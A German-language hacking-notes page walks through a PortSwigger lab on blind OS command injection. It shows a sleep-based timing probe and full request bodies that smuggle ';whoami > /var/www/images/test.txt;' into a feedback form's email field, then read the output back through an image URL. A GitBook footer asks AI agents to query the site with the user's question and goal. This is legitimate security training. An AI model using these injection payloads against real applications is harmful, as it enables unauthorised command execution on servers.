> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/command-injection/blind-os-command-injection-with-output-redirection.md).

# Blinde OS-Befehlsinjektion mit Ausgabeumleitung

Notizen zu blinder OS-Befehlsinjektion mit Ausgabeumleitung für Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungs-Workflow, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### Blindes OS-Befehlsinjektion mit Ausgabenumleitung

#### Laborbeschreibung

* Die Anwendung weist eine Schwachstelle für die Injektion von Systembefehlen auf **blind** in der Feedback-Funktionalität.
* Benutzereingabedaten werden in einen Shell-Befehl auf der Serverseite eingeschleust.
* Die Ausgabe dieses Befehls \*\*wird nicht zurückgegeben\*\* direkt in der HTTP-Antwort.
* Es gibt jedoch einen zugänglichen schriftlichen Datensatz:/ `/var/www/images/`
* Die Anwendung liefert die Katalogbilder, die aus diesem Verzeichnis erzeugt werden.
* Also können wir **die Ausgabe umleiten** des Befehls in eine Datei in diesem Ordner umleiten und diese Datei dann über die URL zum Laden von Bildern lesen.

**Lernziel:** Führe den `whoami` Befehl aus und stelle seine Ausgabe wieder her.

```bash
;sleep 10;
```

#### Erkennung der Injektion (Zeitverzögerung)

Das Feedback-Formular wird verwendet. / Das **E-Mail** Feld ist verwundbar: Wenn du eine Verzögerung injizierst, dauert die Antwort etwa 10 Sekunden.

In die `E-Mail` Feld:

{% code overflow="wrap" %}

```bash
csrf=3dBtfZovWVNJXDv2aXCkmfAOSH9tQt7h&name=hello&email=hello%40gmail.com;sleep 10;&subject=hello&message=hello1234
```

{% endcode %}

Die 10-sekündige Verzögerung bestätigt die Befehlsinjektion.

#### Operation mit Ausgabenumleitung

Zweck: Leite die Ausgabe von `whoami` in eine Datei in `/var/www/images/`.

In die `E-Mail` Feld:

```
;whoami > /var/www/images/test.txt;
```

Beispiel für einen Request-Body:

{% code overflow="wrap" %}

```bash
csrf=3dBtfZovWVNJXDv2aXCkmfAOSH9tQt7h&name=hello&email=hello%40gmail.com;whoami > /var/www/images/test.txt;&subject=hello&message=hello1234
```

{% endcode %}

Dieser Befehl erstellt (oder überschreibt) die `test.txt` Datei im über das Web zugänglichen Verzeichnis.

```bash
/image?filename=test.txt
```

#### Wiederherstellung des Ergebnisses

Um die Ausgabe von `whoami` in der Datei gespeicherten zu lesen, rufen wir die URL auf, die die Dateien im Bilderordner bereitstellt:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ed3ffaf39b5ba16339682b9ea2336eeabffe6992%2Fimage%20(312).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/command-injection/blind-os-command-injection-with-output-redirection.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
